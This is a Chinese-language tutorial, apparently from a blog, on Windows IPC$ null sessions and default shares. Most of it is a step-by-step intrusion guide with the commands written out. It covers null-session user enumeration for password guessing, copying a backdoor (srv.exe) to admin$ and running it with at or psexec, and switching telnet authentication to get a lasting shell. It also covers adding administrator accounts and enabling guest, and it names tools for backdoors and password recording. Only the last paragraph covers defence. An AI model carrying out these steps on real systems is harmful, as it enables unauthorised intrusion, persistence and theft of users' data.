IPC $(空连接)及其造成的危险


使用命令 net use url=file://\\IP\ipc$\\IP\ipc$ "" /user:"" 就可以简单地和目标建立一个空连接(需要目标开放ipc$)。

  • 功 能:共享 “命名管道” 的资源

  • 要 求:需要目标开放ipc$

  • 应 用:查看远程主机的共享资源

基本简介

注意:本文所讨论的各种情况均默认发生在 win NT/2000/XP/win 7 环境下, win98 将不在此次讨论之列。

空连接就是不用密码和用户名的IPC连接,在Windows 下,它是用 Net 命令来实现的。进入空连接 net use \\IP地址"密码" /user:"用户名"  禁止空连接 开始-设置-控制面板-管理工具-服务 ,在服务中停止掉 server的服务就可以了。

利用IPC$,连接者可以与目标主机建立一个空的连接,即无需用户名和密码就能连接主机,当然这样连接是没有任何操作权限的。但利用这个空的连接,连接者可以得到目标主机上的用户列表。利用获得的用户列表,就可以猜密码,或者穷举密码,从而获得更高,甚至管理员权限。

功能

IPC$(Internet Process Connection) 是共享 “命名管道” 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

IPC$ 是 NT/2000 的一项新功能,它有一个特点,即在同一时间内,两个 IP 之间只允许建立一个连接。 NT/2000 在提供了 ipc$ 功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享 (c$,d$,e$ …… ) 和系统目录 winnt 或 windows(admin$) 共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。

其他

平时我们总能听到有人在说 ipc$ 漏洞, ipc$ 漏洞,其实 ipc$ 并不是一个真正意义上的漏洞 , 我想之所以有人这么说,一定是指微软自己安置的那个’后门’:空会话( Null session )。那么什么是空会话呢?

空会话

建立

在介绍空会话之前,我们有必要了解一下一个安全会话是如何建立的。

在 Windows NT 4.0 中是使用挑战响应协议与远程机器建立一个会话的,建立成功的会话将成为一个安全隧道,双方通过它互通信息,这个过程的大致顺序如下:

​ 1 )会话请求者(客户)向会话接收者(服务器)传送一个数据包,请求安全隧道的建立;

​ 2 )服务器产生一个随机的 64 位数(实现挑战)传送回客户;

​ 3 )客户取得这个由服务器产生的 64 位数,用试图建立会话的帐号的口令打乱它,将结果返回到 服务器(实现响应);

​ 4 )服务器接受响应后发送给 本地安全验证( LSA ), LSA 通过使用该用户正确的口令来核实响 应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号,核实本地发生;如果请求的帐 号是一个域的帐号,响应传送到域控制器去核实。当对挑战的响应核实为正确后,一个访问令牌 产生,然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建立的会话被终止。

以上是一个安全会话建立的大致过程,那么空会话又如何呢?

空会话是在没有信任的情况下与服务器建立的会话(即未提供用户名与密码),但根据 WIN2000 的访问控制模型,空会话的建立同样需要提供一个令牌,可是空会话在建立过程中并没有经过用户信息的认证,所以这个令牌中不包含用户信息,因此,这个会话不能让系统间发送加密信息,但这并不表示空会话的令牌中不包含 安全标识符SID (它标识了用户和所属组),对于一个空会话, LSA 提供的令牌的 SID 是 S- 1-5-7 ,这就是空会话的 SID ,用户名是: ANONYMOUS LOGON (这个用户名是可以在用户列表中看到的,但是不能在 SAM 数据库中找到,属于系统内置的帐号),这个访问令牌包含下面伪装的组:

Everyone

Network

**在安全策略的限制下,这个空会话将被授权访问到上面两个组有权访问到的一切信息。**那么建立空会话到底可以作什么呢?

应用

对于 NT ,在默认安全设置下,借助空连接可以列举目标主机上的用户和共享,访问 everyone 权限的共享,访问小部分注册表等,并没有什么太大的利用价值;对 2000 作用更小,因为在 Windows 2000 和以后版本中默认只有管理员和备份操作员有权从网络访问到注册表,而且实现起来也不方便,需借助工具。

从这些我们可以看到,这种非信任会话并没有多大的用处,但从一次完整的 ipc$ 入侵来看,空会话是一个不可缺少的跳板,因为我们从它那里可以得到用户列表,而大多数弱口令扫描工具就是利用这个用户列表来进行口令猜解的,成功的导出用户列表大大增加了猜解的成功率,仅从这一点,足以说明空会话所带来的安全隐患,因此说空会话毫无用处的说法是不正确的。以下是空会话中能够使用的一些具体命令:

1 首先,我们先建立一个空会话(当然,这需要目标开放 ipc$ )

命令: net use(此处需要一个空格,后面也是一样)\\ip\ipc$ "" /user:"" (注:前边引号""内为空密码,后边user:""引号中为空用户名)

注意:上面的命令包括四个空格, net 与 use 中间有一个空格, use 后面一个,密码左右各一个空格。

2 查看远程主机的共享资源

命令: net view \\ip

解释:前提是建立了空连接后,用此命令可以查看远程主机的共享资源,如果它开了共享,可以得到如下面的结果,但此命令不能显示默认共享。

在 \\*.*.*.* 的共享资源

资源共享名 类型 用途 注释

--------------------------------------------------------------------------

NETLOGON Disk Logon server share

SYSVOL Disk Logon server share

命令成功完成。

3 查看远程主机的当前时间

命令: net time \\ip

解释:用此命令可以得到一个远程主机的当前时间。

4 得到远程主机的 NetBIOS 用户名列表(需要打开自己的 NBT )

命令: nbtstat -A ip

用此命令可以得到一个远程主机的 NetBIOS 用户名列表,返回如下结果:

Node IpAddress: [*.*.*.*] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status

---------------------------------------------

SERVER <00> UNIQUE Registered
OYAMANISHI-H <00> GROUP Registered
OYAMANISHI-H < 1C > GROUP Registered
SERVER <20> UNIQUE Registered
OYAMANISHI-H <1B> UNIQUE Registered
OYAMANISHI-H <1E> GROUP Registered
SERVER <03> UNIQUE Registered
OYAMANISHI-H <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
INet~Services < 1C > GROUP Registered
IS~SERVER......<00> UNIQUE Registered
MAC Address = 00-50-8B -9A -2D-37

以上就是我们经常使用空会话做的事情,好像也能获得不少东西哟,不过要注意一点:建立 IPC$ 连接的操作会在 Event Log 中留下记录,不管你是否登录成功。 好了,那么接下来我们就来看看 ipc$ 所使用的端口是什么?

关于操作

所用端口

首先我们来了解一些基础知识:

1 SMB:(Server Message Block) Windows 协议族,用于文件打印共享的服务;

2 NBT:(NETBios Over TCP/IP) 使用 137 ( UDP ) 138 ( UDP ) 139 ( TCP )端口实现基于 TCP/IP 协议的 NETBIOS网络互联。

3 在 WindowsNT 中 SMB 基于 NBT 实现,即使用 139 ( TCP )端口;而在 Windows2000 中, SMB 除了基于 NBT 实现,还可以直接通过 445 端口实现。

有了这些基础知识,我们就可以进一步来讨论访问网络共享对端口的选择了:

对于 win2000客户端(发起端)来说:

1 如果在允许 NBT 的情况下连接服务器时,客户端会同时尝试访问 139 和 445 端口,如果 445 端口有响应,那么就发送 RST 包给 139 端口断开连接,用 455 端口进行会话,当 445 端口无响应时,才使用 139 端口,如果两个端口都没有响应,则会话失败;

2 如果在禁止 NBT 的情况下连接服务器时,那么客户端只会尝试访问 445 端口,如果 445 端口无响应,那么会话失败。

对于 win2000 服务器端来说:

1 如果允许 NBT, 那么 UDP 端口 137, 138, TCP 端口 139, 445 将开放( LISTENING );

2 如果禁止 NBT ,那么只有 445 端口开放。

**我们建立的 ipc$ 会话对端口的选择同样遵守以上原则。**显而易见,如果远程服务器没有监听 139 或 445 端口, ipc$ 会话是无法建立的。

复制文件

有些朋友虽然成功的建立了 ipc$ 连接,但在 copy 时却遇到了这样那样的麻烦,无法复制成功,那么导致复制失败的常见原因又有哪些呢?

1. 对方未开启共享文件夹

这类错误出现的最多,占到 50% 以上。许多朋友在 ipc$ 连接建立成功后,甚至都不知道对方是否有共享文件夹,就进行盲目复制,结果导致复制失败而且郁闷的很。因此我建议大家在进行复制之前务必用 net view\\IP这个命令看一下你想要复制的共享文件夹是否存在(用软件查看当然更好),不要认为能建立 ipc$ 连接就一定有共享文件夹存在。

2. 向默认共享复制失败

这类错误也是大家经常犯的,主要有两个小方面:

1)错误的认为能建立 ipc$ 连接的主机就一定开启了默认共享,因而在建立完连接之后马上向 c$,d$,admin$ 之类的默认共享复制文件,一旦对方未开启默认共享,将导致复制失败。 ipc$ 连接成功只能说明对方打开了 ipc$ 共享,并不能说明默认共享一定存在。 ipc$ 共享与默认共享是 两码事, ipc$ 共享是一个命名管道,并不是哪个实际的文件夹,而默认共享却是实实在在的共享文件夹;

2)由于 net view\\IP这个命令无法显示默认共享文件夹(因为默认共享带 $ ),因此通过这个命令,我们并不能判断对方是否开启了默认共享,因此如果对方未开启默认共享,那么所有向默认共享进行的操作都不能成功;(不过大部分扫描软件在扫弱口令的同时,都能扫到默认共享目录,可以避免此类错误的发生)

要点:请大家一定区分 ipc 共享,默认共享,普通共享这三者的区别: ipc 共享是一个管道,并不是实际的共享文件夹;默认共享是安装时默认打开的文件夹;普通共享是我们自己开启的可以设置权限的共享文件夹。

3. 用户权限不够,包括四种情形:

1 )空连接向所有共享(默认共享和普通共享)复制时,权限是不够的;

2 )向默认共享复制时,在 Win2000 Pro 版中,只有 Administrators 和 Backup Operators 组成员才可以,在 Win2000 Server 版本 Server Operatros 组也可以访问到这些共享目录;

3 )向普通共享复制时,要具有相应权限(即对方管理员事先设定的访问权限);

4 )对方可以通过防火墙或安全软件的设置,禁止外部访问共享;

注意:

A. 不要认为 administrator 就一定具有管理员权限,管理员名称是可以改的

B. 管理员可以访问默认共享的文件夹,但不一定能够访问普通的共享文件夹,因为管理员可以对普通的共享文件夹进行访问权限设置,管理员为 D 盘设置的访问权限为仅允许名为 xinxin 的用户对该文件夹进行完全访问,那么此时即使你拥有管理员权限,你仍然不能访问 D 盘。不过有意思的是,如果此时对方又开启了 D$ 的默认共享,那么你却可以访问 D$ ,从而绕过了权限限制,有兴趣的朋友可以自己做测试。

4. 被防火墙杀死或在局域网

还有一种情况,那就是也许你的复制操作已经成功,但当远程运行时,被防火墙杀掉了,导致找不到文件;或者你把木马复制到了局域网内的主机,导致连接失败(反向连接的木马不会发生这种情况)。如果你没有想到这种情况,你会以为是复制上出了问题,但实际你的复制操作已经成功了,只是运行时出了问题。

命令限制

本来还想说一下用 at 远程运行程序失败的原因,但考虑到 at 的成功率不是很高,问题也很多,在这里就不提它了(提的越多,用的人就越多),而是推荐大家用 psexec.exe 远程运行程序,假设想要远程机器执行本地 c:\xinxin.exe 文件,且管理员为 administrator ,密码为 1234 ,那么输入下面的命令:

psexec\\远程机器ip -u administrator -p 1234 -c c:\xinxin.exe

PsExec 是一个轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。psexec工具主要是做执行远程主机上的命令,比如说执行远程主机上的命令安装软件,执行远程主机上的命令启动服务等(命令包括exe文件、bat文件、vbs文件)。

格式为:psexec \\远程机器ip [-u username [-p password]] [-c [-f]] [-i][-d] program [arguments]

如果已经建立 ipc 连接,则 -u -p 这两个参数不需要, psexec.exe 将自动拷贝文件到远程机器并运行。

本来 xp 中的 ipc$ 也不想在这里讨论,想单独拿出来讨论,但看到越来越多的朋友很急切的提问为什么遇到 xp 的时候,大部分操作都很难成功。我在这里就简单提一下吧,在 xp 的默认安全选项中,任何远程访问仅被赋予来宾权限,也就是说即使你是用管理员帐户和密码,你所得到的权限也只是 Guest ,因此大部分操作都会因为权限不够而失败,而且到目前为止并没有一个好的办法来突破这一限制。所以如果你真的得到了 xp 的管理员密码,我建议你尽量避开 ipc 管道。

共享

目标的 ipc$ 不是轻易就能打开的,否则就要天下打乱了。你需要一个 admin 权限的 shell ,比如 telnet ,木马, cmd 重定向等,然后在 shell 下执行:

net share ipc$

开放目标的 ipc$ 共享;

net share ipc$ /del

关闭目标的 ipc$ 共享;如果你要给它开共享文件夹,你可以用:

net share xinxin=c:\

这样就把它的 c 盘开为共享名为 xinxin共享文件夹了。再次声明,这些操作都是在 shell 下才能实现的。

完成命令

入侵中可能会用到的命令

为了这份教程的完整性,我列出了 ipc$ 入侵中的一些常用命令,如果你已经掌握了这些命令,你可以跳过这一部分看下面的内容。请注意这些命令是适用于本地还是远程,如果只适用于本地,你只能在获得远程主机的 shell (如 cmd , telnet 等)后,才能向远程主机执行。

1 建立 / 删除 ipc$ 连接的命令

1 )建立空连接 :
net use \\127.0.0.1\ipc$ "" /user: ""

2 )建立非空连接 :
net use \\127.0.0.1\ipc$" 密码 " /user:" 用户名 "

3 )删除连接 :
net use \\127.0.0.1\ipc$ /del

2 在 ipc$ 连接中对远程主机的操作命令

1 ) 查看远程主机的共享资源(共享文件夹)(看不到默认共享) :
net view \\127.0.0.1

2 ) 查看远程主机的当前时间 :
net time \\127.0.0.1

3 ) 得到远程主机的netbios用户名列表 :
nbtstat -A 127.0.0.1

4 )映射 / 删除远程共享 :
net use z:\\127.0.0.1\c
此命令将共享名为 c 的共享资源映射为本地 z 盘
net use z: /del
删除映射的 z 盘,其他盘类推

5 )向远程主机复制文件 :
copy路径\ 文件名\\IP\共享目录名,如:
copy c:\xinxin.exe\\127.0.0.1\c$即将 c 盘下的 xinxin.exe 复制到对方 c 盘内
当然,你也可以把远程主机上的文件复制到自己的机器里:
copy \\127.0.0.1\c$\xinxin.exec:\

6 )远程添加计划任务 :
at \\IP 时间 程序名 如:
at \\127.0.0.1 11:00 xinxin.exe

注意:时间尽量使用 24 小时制;如果你打算运行的程序在系统默认搜索路径(比如 system32/ )下则不用加路径,否则必须加全路径。目前at命令已被弃用,改用schtasks命令,可用schtasks /?来查询其使用方法。

3 本地命令

1 )查看本地主机的共享资源(可以看到本地的默认共享)
net share

2 )得到本地主机的用户列表
net user

3 )显示本地某用户的帐户信息
net user 帐户名

4 )显示本地主机当前启动的服务
net start

5 )启动 / 关闭本地服务
net start 服务名
net stop 服务名

6 )在本地添加帐户
net user 帐户名密码 /add

7 )激活禁用的用户
net uesr 帐户名 /active:yes

8 )加入管理员组
net localgroup administrators 帐户名 /add

很显然的是,虽然这些都是本地命令,但如果你在远程主机的 shell 中输入,比如你 telnet 成功后输入上面这些命令,那么这些本地输入将作用在远程主机上。

4 其他一些命令

1 ) telnet
telnet IP 端口
telnet 127.0.0.0 23

2 )用 opentelnet.exe 开启远程主机的 telnet
OpenTelnet.exe\\ip 管理员帐号 密码 NTLM 的认证方式 port
OpenTelnet.exe\\127.0.0.1 administrator "" 1 90

不过这个小工具需要满足四个要求:

1 )目标开启了 ipc$ 共享
2 )你要拥有管理员密码和帐号
3 )目标开启 RemoteRegistry 服务,用户就可以更改 ntlm 认证
4 )对仅 WIN2K/XP 有效
3 )**用 psexec.exe 一步获得 shell ,需要 ipc 管道支持**

psexec.exe \\IP- u 管理员帐号 -p 密码 cmd
psexec.exe \\127.0.0.1 -u administrator -p "" cmd

对比过去和现今的 ipc$ 入侵

既然是对比,那么我就先把过去的 ipc$ 入侵步骤写给大家,都是蛮经典的步骤:

[1]
C:\>net use \\127.0.0.1\ipc$"" /user:admintitrators
\\ 用扫到的空口令建立连接

[2]
c:\>net view \\127.0.0.1
\\ 查看远程的共享资源

[3]
C:\>copy srv.exe \\127.0.0.1\admin$\system32
\\ 将一次性后门 srv.exe 复制到对方的系统文件夹下,前提是 admin$ 开启

[4]
C:\>net time \\127.0.0.1
\\ 查看远程主机的当前时间

[5]
C:\>at \\127.0.0.1时间 srv.exe
\\ 用 at 命令远程运行 srv.exe ,需要对方开启了 'Task Scheduler' 服务

[6]
C:\>net time \\127.0.0.1
\\ 再次查看当前时间来估算 srv.exe 是否已经运行,此步可以省略

[7]
C:\>telnet 127.0.0.1 99
\\ 开一个新窗口,用 telnet远程登陆到 127.0.0.1 从而获得一个 shell( 不懂 shell 是什么意思?那你就把它想象成远程机器的控制权就好了,操作像 DOS) , 99 端口是 srv.exe 开的一次性后门的端口

[8]
C:\WINNT\system32>net start telnet
\\ 我们在刚刚登陆上的 shell 中启动远程机器的 telnet 服务,毕竟 srv.exe 是一次性的后门,我们需要一个长久的后门便于以后访问,如果对方的 telnet 已经启动,此步可省略

[9]
C:\>copy ntlm.exe \\127.0.0.1\admin$\system32
\\ 在原来那个窗口中将 ntlm.exe 传过去, ntlm.exe 是用来更改 telnet身份验证的

[10]
C:\WINNT\system32>ntlm.exe
\\ 在 shell 窗口中运行 ntlm.exe ,以后你就可以畅通无阻的 telnet 这台主机了

[11]
C:\>telnet 127.0.0.1 23
\\ 在新窗口中 telnet 到 127.0.0.1 ,端口 23 可省略,这样我们又获得一个长期的后门

[12]
C:\WINNT\system32>net user 帐户名 密码 /add
C:\WINNT\system32>net uesr guest /active:yes
C:\WINNT\system32>net localgroup administrators 帐户名 /add
\\telnet上以后,你可以建立新帐户,激活 guest ,把任何帐户加入管理员组等

好了,写到这里我似乎回到了 2 , 3 年前,那时的 ipc$ 大家都是这么用的,不过随着新工具的出现,上面提到的一些工具和命令已经不常用到了,那就让我们看看高效而简单的 ipc$ 入侵吧。

[1]
 psexec.exe \\IP -u 管理员帐号 -p 密码 cmd
\\ 用这个工具我们可以一步到位的获得 shell

OpenTelnet.exe \\server管理员帐号 密码 NTLM 的认证方式 port
\\ 用它可以方便的更改 telnet 的验证方式和端口,方便我们登陆

[2] 
已经没有第二步了,用一步获得 shell 之后,你做什么都可以了,安后门可以用 winshell ,克隆就用 ca 吧,开终端用 3389.vbe ,记录密码用 win2kpass ,总之好的工具不少,随你选了,我就不多说了。

附录

命名管道

“命名管道”又名“命名管线”(Named Pipes),是一种简单的进程间通信(IPC)机制,Microsoft Windows大都提供了对它的支持(但不包括Windows CE)。命名管道可在同一台计算机的不同进程之间或在跨越一个网络的不同计算机的不同进程之间,支持可靠的、单向或双向的数据通信。推荐用命名管道作为进程通信方案的一项重要的原因是它们充分利用了Windows内建的安全特性(ACL等)。

命名管道(NamedPipe)是服务器进程和一个或多个客户进程之间通信的单向或双向管道。不同于匿名管道的是:命名管道可以在不相关的进程之间和不同计算机之间使用,服务器建立命名管道时给它指定一个名字,任何进程都可以通过该名字打开管道的另一端,根据给定的权限和服务器进程通信。命名管道提供了相对简单的编程接口,使通过网络传输数据并不比同一计算机上两进程之间通信更困难,不过如果要同时和多个进程通信它就力不从心了。

默认共享

在Windows 2000/XP/2003系统中,逻辑分区与Windows目录默认为共享,这是为管理员管理服务器的方便而设,但却成为了别有用心之徒可乘的安全漏洞。

基本介绍

IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

利用IPC$,连接者可以与目标主机建立一个空的连接,即无需用户名和密码就能连接主机,当然这样连接是没有任何操作权限的。但利用这个空的连接,连接者可以得到目标主机上的用户列表。利用获得的用户列表,就可以猜密码,或者穷举密码,从而获得更高,甚至管理员权限。

只要通过IPC$,获得足够的权限,就可以在主机上运行程序(如木马程序)、创建用户、把主机上C、D、E等逻辑分区共享给入侵者,主机上的所有资料,包括QQ密码、email帐号密码、甚至存在电脑里的信用卡资料都会暴露在入侵者面前。

要防止别人用ipc$和默认共享入侵,需要禁止ipc$空连接,避免入侵者取得用户列表,并取消默认共享。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章